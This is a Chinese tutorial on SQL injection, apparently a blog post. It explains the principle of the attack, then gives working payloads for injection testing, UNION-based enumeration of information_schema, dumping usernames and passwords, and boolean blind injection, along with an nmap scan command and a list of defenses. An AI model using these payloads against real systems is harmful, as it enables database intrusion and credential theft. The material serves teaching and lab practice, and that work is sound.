提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 什么是SQL?
  • 一、SQL注入
    • 1.什么是SQL注入
    • 2.SQL注入漏洞的原理是什么?
    • 3.SQL注入漏洞产生的基本前提
    • 4.SQL注入的漏洞危害
  • 二、SQL注入思路
    • 1.字符型示例
    • 2.特殊数据库
    • 3.获取表中数据
  • 三、SQL注入-布尔型盲注
    • 1.盲注常用函数
    • 2.测试(根据实际情况加以修改)
  • 四、SQL注入漏洞防御
  • 总结

什么是SQL?

结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。


提示:以下是本篇文章正文内容,下面文章可供参考

一、SQL注入

1.什么是SQL注入

所谓SQL注入,就是通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2.SQL注入漏洞的原理是什么?

WEB应用程序中,动态网页很多都是需要与后台的数据库进行交互的,由网站内部直接发送的Sql请求一般不会有危险,但实际情况中,很多时候需要结合用户的输入数据来动态构造 Sql 语句。所以如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会造成SQL注入漏洞。

3.SQL注入漏洞产生的基本前提

有参数传递
参数值会带入数据库中进行操作

4.SQL注入的漏洞危害

攻击者可以通过该漏洞来查询数据库中的敏感信息,进行脱裤操作。 绕过验证,例如绕过验证登陆网站后台。 万能密码
会被删库、改库,甚至通过漏洞获取数据库服务器shell
在某些条件下,攻击者甚至可以通过注入漏洞,借助数据库的存储过程进行提权等操作。mysql >>> root

二、SQL注入思路

  1. 判断是否存在注入,注入是字符型还是数字型,目标数据库类型是什么。
  2. 猜解SQL查询语句中的字段数
  3. 确定回显位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 得到数据

1.字符型示例

代码如下(示例):

判断是否存在注入点:
输入单引号,返回mysql的报错。判断注入类型:
1’ and 1=1# 返回正常
1’ and 1=2# 返回不正常
表示是字符型注入。判断目标数据库类型:
从前面的报错信息可以判断目标是MySQL
使用nmap扫描目标服务器。“nmap –sS –sV xx.xx.xx.xx”一般情况下,如果目标服务器的数据库可直接外部访问,那么就可以扫描到对应的数据库类型。
如果不可以直接外部访问,可以根据web服务器的软件来猜测。
比如上图扫描出Apache,那么就可能是MySQL,如果扫描出IIS,那么就可能是SQL Server3. 从目标网站的编程语言类型PHP可判断,该数据库类型可能是MySQL。
4. 如果编程语言是ASP或.Net,数据库就可能是Microsoft SQL Server;
5. 如果编程语言是Java,那么数据库就可能是Oracle/MySQL。猜解字段数:
1’ order by 1/2/3/…#ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序,
使用数字是直接用字段所在的位置来代替字段名。确定目标 查询了2列。确定回显位置:
union select 1,2UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

2.特殊数据库

MySQL 5.0以上版本存在比较特殊的数据库–INFORMATION_SCHEMA ,如数据库名,数据库的表,表栏的数据类型与访问权限等其中保存着关于MySQL服务器所维护的所有其他数据库的信息。而5.0以下的版本没有。

其中重要的三个表:SCHEMATA;TABLES;COLUMNS。

SCHEMATA 储存mysql所有数据库的基本信息,包括数据库名(SCHEMA_NAME),编码类型路径等

TABLES
储存mysql中的表信息,包括这个表是基本表还是系统表,引擎是什么,表有多少行,创建时间,最后更新时间等。(数据库名TABLE_SCHEMA,表名TABLE_NAME)

COLUMNS
储存mysql中表的列信息,包括这个表的所有列(COLUMN_NAME)以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

查询数据库代码如下(示例):

查询当前数据库版本:
1’union select version(),database()#查询数据库中的表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

该处使用的url网络请求的数据。

3.获取表中数据

获取表中的字段名:
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#

获取表中的用户名、密码:
1’ union select user, password from users#


三、SQL注入-布尔型盲注

1.盲注常用函数

返回字符串的长度:length()
截取字符串: mid();left();right();substr();substring()
ascii编码:ord();ascii();
ascii码转字符:char()
挂起程序:sleep(n)
判断语句:if(expr1,expr2,expr3) 如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句

2.测试(根据实际情况加以修改)

1、测试注入点:1’ or 1=1# 如果是GET方式注入,需要进行url编码

2、 length判断数据库长度:id=1’ and length(database())=4–+
3、mid(str,start,count)截取字符串:id=1’ and mid((database()),1,1)=‘d’–+
4、猜测表名总长度:id=1’ and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=15–+
5、表名第一个字母:id=1’ and (select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)))>=100–+
6、通过二分法,依次测试,得到第一个字符的ascii值为103,对应字母g
7、表名第一个字母:id=1’ and (select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)))=117–+
其ascii值对应字母为u
剩余流程就根据实际情况、需要调试

四、SQL注入漏洞防御

  1. 限制用户的输入,比如前端限制选择,后端限制英文、数字等常规字符(缺点:可能存在特殊情况)
  2. 特殊字符/关键字的过滤、转义(缺点:特殊字符众多,可能会有漏掉的)
  3. 把参数传到存储过程进行处理。(缺点:并不是所有数据库都支持存储过程,如果存储过程中所执行的语句也是拼接得来,依然可能存在漏洞)
  4. 参数化查询,在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等常用数据库都支持参数化查询。(当前公认的效果最好的SQL注入防御手段)
  5. PDO技术(PHP Data Object,缺点:只适用于PHP。可用于PHP中的参数化查询)
  6. magic_quotes_gpc()函数(缺点:依然存在被绕过的可能,且只是PHP的函数)
  7. 安装WAF(Web Application Firewall)(缺点:可能被绕过。比如当参数为数字型的时候,且未经过Intval()函数的处理)
  8. mysql_real_escape_string()

总结

虽然很多人说用工具注入sql是没有灵魂的,但架不住好用呀:现在常用的SQL注入工具有HackBar、SQLMap、Pangolin、Havij、Safe3 SQL injector及超级SQL注入工具等。
sql注入常用靶场:
SQLI-LABS
php5: https://github.com/Audi-1/sqli-labs
php7: https://github.com/skyblueee/sqli-labs-php7

SQL注入-入门需了解项目相关推荐

  1. SQL注入检测模块开源项目DRUID-SQL-WALL学习小结

    作为sql注入原理.sql注入检测.防御系列学习的第三篇.本文主要关注了抽象语法树ast在sql注入检测上的应用开发.以及开源项目druid-sql-wall的学习,希望能给研究这一领域的朋友带来一点 ...

  2. Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

    文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...

  3. sql 注入 预防_SQL注入:检测和预防

    sql 注入 预防 摘要 (Summary) With an understanding of what SQL injection is and why it is important to an ...

  4. SQL防注入大全——史上最全的 SQL 注入资料

    什么是 SQL 注入速查表? SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源.这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份 ...

  5. java防止sql注入方正_有效防止SQL注入的5种方法总结

    sql注入入门 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入漏洞存在的原因,就是拼接 SQL 参数.也就是将用于输入的查询参数,直接拼接在 SQ ...

  6. 使用kali完成sql注入

    使用kali完成sql注入 本文仅用于学术参考分享,如有侵权,请联系作者删除,请勿随意对网站进行sql注入 前期准备 1.kali虚拟机(自带sql注入所需工具) 2.能够进行注入的网站 实验步骤 1 ...

  7. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(六)-SQL注入数字型

    目录 前言: 一.SQL 注入漏洞简介 1.简介 2.危害 3.利用 4.防范 二.相关配置 三.编写"SQL 注入漏洞-数字型注入"后端代码 1.使用 springboot 框架 ...

  8. SQL注入攻防入门详解

    转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...

  9. SQL 注入攻防入门详解

    为什么80%的码农都做不了架构师?>>>    SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...

最新文章

  1. JVM实用参数 GC日志
  2. JQuery新浪1630个表情插件
  3. 机器人 陆梅东_机器人知识与实践比赛获奖 - 上海徐汇区青少年活动中心
  4. AMD 发布 Stream SDK for Linux
  5. 【IDEA】IDEA 设置 字体 可以滚轮 改变大小
  6. UI设计师遇到瓶颈如何自我提升?
  7. 文件读、写、追加的区别 Python
  8. html和css实现时间表,前端 CSS : 6# 纯 CSS 实现时间线
  9. 小米12s 12sU 12sP 12x 12pro天玑版等小米机型通用解锁bl 刷写root全部步骤教程
  10. GOOGLE本地搜索
  11. Luarocks 安装艰难过程
  12. DFT泄漏 频谱泄漏 (FFT)
  13. 图像纹理特征总体简述
  14. 【0005】删除文件时,提示你需要权限才能执行此操作
  15. SAP License:SAP HR人力资源管理系统
  16. 引进国外SD-WAN技术,凌锐蓝信为企业提供跨境网络连接服务
  17. 第十六届全国大学生智能汽车比赛—摄像头算法控制总结
  18. Axure中插入Highcharts动态图表
  19. eclipse 中 svn 代码报错如下 org.apache.subversion.javahl.ClientException:Filesystem has no item
  20. 经纬度换算数值_如何在Excel中将经纬度数值转换成度分秒

热门文章

  1. Android自定义相机自动对焦、定点对焦
  2. ARP 地址解析协议 IP地址到MAC地址的转换过程
  3. 高质量 Go 进阶图书,它来了
  4. python3查找元素在数组位置_Python:查找数组中元素的位置
  5. php 安装、使用sphinx
  6. Java 浅拷贝和深拷贝的理解和实现方式
  7. 软件测试肖sir__006xmind思维导图实战__微信发红包
  8. 全概率公式及贝叶斯公式---先验概率、后验概率
  9. 调音台、声卡、视频采集卡技术参数
  10. 别错过,教你如何用电脑玩手机